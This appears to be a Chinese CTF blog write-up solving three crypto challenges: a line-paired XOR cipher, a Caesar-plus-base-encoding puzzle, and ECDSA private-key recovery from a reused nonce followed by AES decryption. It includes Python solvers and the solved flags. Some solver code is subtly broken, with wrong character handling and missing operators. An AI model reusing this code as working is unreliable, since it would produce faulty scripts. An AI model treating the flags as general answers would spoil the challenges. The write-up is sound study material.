15 *$1.^I.SN._MLZ/4V!S.KP.OM/R/KZ.4W%.ZZ6Z,/O-Z.4.PY.Y
15 eas it is essential to promote the development of f
16 <.*=.NX,_6)P.L._Z56%[..P_4V/.L.XS^';\4&`3(P7`&,^'`)
16 ndly relations between nations,flag{ctf_show_flag_i
17 <:.(Y0[9.HV%MZ 3.IU[.OZ/0S%L.QY.KWZ.Y,^';4`%`3.4=.J
17 ot_here} whereas the peoples of the flag{t_e_s_t} u
18 5-.P_1+/P3.T\6Z.V..JVZ.](^24Z2.MZ!Y&V2-Z$.KWZ)M.Y^)
18 ed nations have in the charter reaffirmed their fai
19 8".]7.Y^.$Q5^..V5R!Q.LVX(43..US.IU[.ZWX.V49.^Q$.HPM
19 in fundamental human rights, in the dignity and wor
20 >,.KW'.SKR^-.OZ02/Q._.[.V..JVZ.Z15^,.MVX(4L.PY.RZ..
20 of the human person and in the equal rights of men 
21 .2P/[-.ZQ$.T\6[.Z%KZ3-V.Z$.KP.NMP-P4Z.L/\)^,.OM/X2Z
21  women and have determined to promote social progre
22 ,&[.\'5KZ1.L4_.[!2Z3.QX.RV&Z.V..R_2X%M.Y2Z%[/R.HWZ2
22 and better standards of life in larger freedom,wher
23 ..X.\&3.OJ\5Z1.V^4%.NRZ$X%[.KW%R3Z,6Z3.K/._\(V%IZ..
23  member states have pledged themselves to achieve, 
24 =(#94U)Ma$,_'a(3a&^*%=.._Q.RN[M^4)P..HVKW.KW%.JQV4%
24 lag{this_flag_is_fake}  co-operation with the unite
25 /?/+.M..LQ^.KORR/KV...QX.KQV6Z33^-.MZ30Z#4.XP2._Q[.
25 ations, the promotion of universal respect for and 
26 *;1!P\'.RX.V5R^,.MV'W53._.[.Y5Q$^-Z.4^,.Y2Z%[/-L.HW
26 ervance of human rights and fundamental freedoms,wh
27 /8.]._-R,/P.KPZ%M34_.[).X.PY.KW%3Z.MV'W43._Q$.XMZ%[
27 as a common understanding of these rights and freed
28 .*3.X\.OT[.Y2Z!KZ25.WR0/M4^.\%.XP2.KWZ.Y5,S.MZ!S):^
28  is of the greatest importance for the full realiza
29 =.+X.KW(3.LQ[[&%.SQH..HTXL[Y/2Z.4WZ.X%.Z2^,.Y,^';Y,
29 n of this pledge,now, therefore the general flag{fl
30 &4.S/Ka*%MZ>._23Z,]-8.OM/\,^)-L.KW)L.JQV6Z23^,.[%\,
30 is_not_here} assembly proclaims this universal decl
31 ',-P.S[.U5R^,.MV'W53._3.\.^PR-P..LK^.[!2[.PY.^#W)Z6
31 tion of human rights as a common standard of achiev
32 ?:.&Q3.XQS.N[.0S%L.\Q[.^-,.P_4V/.L..JQ.JV[.[Q[.KW!K
32 nt for all peoples and all nations, to the end that
33 *;1.RQ$T7V$J^.._.[.Z7%M9.QMX!Q.PY.LP\)%K9..U[ZO)QX.
33 ery individual and every organ of society, keeping 
34 '._$^.^6 4W/Q.]/Q34_.4S9.WQ.RV.[..MV^,,.MKMV6Z.]9.K
34 s declaration constantly in mind, shall strive by t
35 8"*Y.]/[.[$5]!KV...IQ.MLQR/KZ.MZ20Z#4.XP2.KWZ3Z.2V'
35 hing and education to promote respect for these rig
36 . S[.X1%X[-,3.]P[.]8.O2PX3%L3V6Z.R%^352Z3..P_KV/Q^,
36  and freedoms and by progressive measures, national
37 4.)S5[1/_6)P._-..HS.OY^J2Z.KW%V2.JQV6%M3^,._Q$.[Y&Z
37 d international, to secure their universal and effe
38  !.J\^-X,)KV...]Q[.P]2%2I^/#Z.._PKW.^-P.X.KW%.OZ/O,
38 ve recognition and observance, both among the peopl
39 ;*.R%S]'3.NJ_5%L.JVZ,3Z,6Z3._.[.^-P.X.KW%.OZ/O,Z3.P
39 of member states themselves and among the peoples o
40 +;4+4Q2W%L.KP[%2.IU[)M.TJ2V3[)\5)P..JVZ.Y,^'.QP4.VZ
40 erritories under their jurisdiction.the flag not he
41 ='.R+.P_MZ.V2.GQ5M.XS^&.NSZ!3Z.K^+Z.V4.\^2%Y5,S9.Y,^';KW%`.%K7P2T.W^3.V43`-%R/M9`)`-)3L`&^&!=

可以看到里面有一些假flag
可以很明显的看到,这里行数都是成双出现的,一排密文对应一排明文,只有第41行没有,猜测第41行的明文为真flag
先进行异或一下

for i in range(0,len(c)-1,2) :print xor(c[i],c[i+1])

得到一堆很多包含"?@>="的字符串
先用几个最常出现的字符来猜一下明文:

for t in c[-1]:    
    tmp=''    
    for i in '?@>=':       
        if xor(t,i) in 'abcdefghijklmnopqrstuvwxyz{}_':tmp+=xor(t,i)    
print tmp,

得到的结果好像并不是flag,但是里面已经包含flag了
再只用?@两个字符试试:

for t in c[-1]:    
    tmp=''    
    for i in '?@':       
        if xor(t,i) in 'abcdefghijklmnopqrstuvwxyz{}_':tmp+=xor(t,i)    
print (tmp)

诶,发现flag出来了

flag{the_network_has_its_memory_i_miss_fafa}

简单的古典密码

预期解:
最豪帝王家,被子十层呀,掀开数兔兔,一二三五八
hint:请自行添加ctfshow{}包皮
解题思路:
1.帝王-->凯撒加密,凯撒加密只对字母有效
2.被子-->base谐音
3.数兔兔-->即字频加密,结合一二三五八可知,flag出现频率为斐波那契数的字符组成
exp:

import base64,base58,base91,base92
import tqdm
import gmpy2
def d91e(a=''):
    return base91.decode(a)
dec=[base64.b32decode,base58.b58decode,base64.b64decode,base64.a85decode,base64.b85decode,d91e]

flagc=open('ctfshow.txt','r').read

def dcas(s='',key=1):
    cf=''
    for i in s:
        if i.islower():
            cf+=chr((ord('i')-ord('a')+key)%26+ord('a'))
        elif i.isupper():
            cf+=chr((ord('i')-ord('A')+key)%26+ord('A'))
        else:
            cf+=i
    return cf
def dbase(s=''):
    for i in dec:
        for j in range(1,26):
            cs = dcas(s,j)
            try:
                f = i(cs).decode()
                if f.isprintable():
                    return f
            except:
                pass
    return s
for x in tqdm.trange(10):
    flagc=dbase(flagc)
    print(len(flagc))
d={chr(i):0 for i in range(128)}
for i in flagc:
    d[i]+=1
for i in range(2,20):
    fib=gmpy2.fib(i)
    for j in d:
        if d[j]==fib:
            print(j,end='')

SoEZecdsa

下载附件,解压得到Soezecdsa.py:

import ecdsa
import random
from Crypto.Cipher import AES

def pad(k):
    return k + chr(16 - len(k) % 16) * (16 - len(k) % 16)

g = ecdsa.NIST256p.generator
ord = g.order()
ss = random.randrange(1, ord)

pub = ecdsa.ecdsa.Public_key(g, g * ss)
priv = ecdsa.ecdsa.Private_key(pub, ss)
 
n = random.randrange(1, 2 ** 127)

h1 = random.randrange(1, ord)
h2 = random.randrange(1, ord)
s1 = priv.sign(h1, n)
s2 = priv.sign(h2, n)

cipher = AES.new(ss.to_bytes(64, byteorder='little')[0:16], AES.MODE_CBC, b'\0' * 16)
c = cipher.encrypt(pad("ctfshow{F_5_F_5_F_5_F_5_F_5_F_5_F_5_F_5_F_5_F_5}").encode('utf-8')).hex()

print(s1.r)
print((s1.s, s2.s))
print((h1, h2))
print(c)


#60963656919952335330699495914604076133088545196341270906012199546992023482470
#(73717183989655107551694042301768298629060759808504642594624975900023461782627, 14687661690747284846117782855464712425538068387758686204509438427659320546252)
#(78282427923826024273891589234109005052482119099079121663545750577095212333215, 95633252274852616927283591980907278832230595718028531805745075047977731184020)
#28ff889a4bf476378f0dd924e1c8ccdd78aba055bf3f24e617a558c8333d4e283ed54186576f50c24fe3109823ade497

本题考查的使用相同随机数K对两个不同消息进行签名得到的(r,s),r相同,导致私钥泄露。
推导:
S1=(h1+r·d)/k%n (1)
S2=(h2+r·d)/k%n (2)
(1)-(2)K=(h1-h2)·(S1-S2)^(-1) %n
代入得:
d=(S1·k-h1)/r%n
求到私钥,再AES解密
exp:

import gmpy2
from Crypto.Cipher import AES
n=
s1=
s2=
h1=
h2=
r=

K=(h1-h2)*(gmpy2.invert(s1-s2,n)) %n
ss1=(s1K-h1)gmpy2.invert(r,n)%n
ss2=(s2K-h2)gmpy2.invert(r,n)%n

cipher = AES.new(ss1.to_bytes(64, byteorder='little')[0:16], AES.MODE_CBC, b'0' * 16)
c=""
c=bytes.fromhex(c)
m = cipher.decrypt(c)
print(m)

得到flag
flag:ctfshow{F5_cAn_S0lv3_8AsIC_3CDsA_pr08L3M}

标签: none

  1. Suger Suger

    大佬tql

  2. Add Add

    贴贴

已有 2 条评论